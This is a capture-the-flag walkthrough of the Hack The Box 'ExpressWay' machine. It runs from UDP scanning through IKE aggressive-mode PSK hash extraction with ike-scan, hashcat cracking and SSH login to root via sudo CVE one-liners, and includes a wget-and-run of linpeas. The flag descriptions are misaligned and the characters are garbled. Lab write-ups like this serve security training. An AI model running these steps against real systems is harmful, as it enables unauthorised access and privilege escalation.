Hack The Box: ExpressWay β Full Walkthrough
π§ OVERVIEW
Target: ExpressWay (Easy Linux box)
Skills learned:
- UDP enumeration
- IKE/IPSec exploitation
- Password cracking
- Service enumeration
- Privilege escalation (sudo CVEs)
π STEP 1: RECONNAISSANCE
Start with TCP scan:
nmap -sC -sV -p- --min-rate 2000 -Pn <TARGET_IP>- β Default scripts (version detection + vulnerability checks)
-sC - β Service/version fingerprinting
-sV - β Scan all 65,535 TCP ports
-p- - β Speed up scanning (aggressive but reliable on HTB)
--min-rate 2000 - β Skip host discovery (target may drop ICMP)
-Pn
π Result
Only port 22 (SSH) open.
Looks clean⦠but this is misleading.
π§ LESSON
TCP-only scanning is NOT enough.
π Always check UDP.
π STEP 2: UDP SCAN
nmap -sU -p- --min-rate 1000 -Pn <TARGET_IP>π Result
UDP 500 β IKE service
π§ WHY IMPORTANT
IKE is used in VPNs.
π Misconfigurations here = serious vulnerability.
π£ STEP 3: IKE AGGRESSIVE MODE ATTACK
Probe IKE:
ike-scan -A <TARGET_IP>- β Multiline output (easier to parse)
-M - β Aggressive Mode (forces the server to respond with ID and HASH_R)
-A
Extract hash:
ike-scan -A --pskcrack <TARGET_IP> > psk.log- β Outputs the exact parameters required for cracking tools
--pskcrack
(g_xr:g_xi:cky_r:cky_i:sai_b:idir_b:ni_b:nr_b:hash_r)
Key Output:
- ID β
ike@expressway.htb - Raw PSK hash β used for password cracking (hashcat / psk-crack)
π§ WHAT HAPPENS
Aggressive Mode leaks PSK hash.
π STEP 4: CRACK PASSWORD
hashcat -m 5400 ike.hash rockyou.txtπ Result
Password found.
π§ LESSON
Weak PSKs = easy compromise.
π STEP 5: INITIAL ACCESS
ssh ike@<TARGET_IP>Password = cracked PSK
π§ COMMON MISTAKE
Password reuse.
π STEP 6: ENUMERATION
Check services:
nmap -sU -p 69 --script tftp-enum <TARGET_IP>π§ RESULT
Download Cisco config files (often contain more creds or network diagrams). In this box itβs a red herring for the main path, but shows thorough enum.
π§ͺ STEP 7: LINPEAS
wget https://.../linpeas.sh
chmod +x linpeas.sh
./linpeas.shπ§ RESULT
Key finding: Outdated sudo (vulnerable to CVE-2025-32463 and CVE-2025-32462).
β‘ STEP 8: PRIVILEGE ESCALATION
Exploit sudo vulnerability:
sudo -R /tmp/chroot /bin/shOR:
sudo -h target -iπ§ WHY THIS WORKS
- Sudo path resolution flaw
- Hostname bypass vulnerability
π STEP 9: ROOT ACCESS
You now have root.
π Get flags:
/home/ike/user.txt
/root/root.txtπ§ FINAL LESSONS
- Always scan UDP
- Misconfigured VPNs are dangerous
- Password reuse kills security
- Enumeration is everything
- Outdated software = easy root
π₯ FINAL MESSAGE
This is how real attackers think:
Enumerate β Exploit β Escalate β Own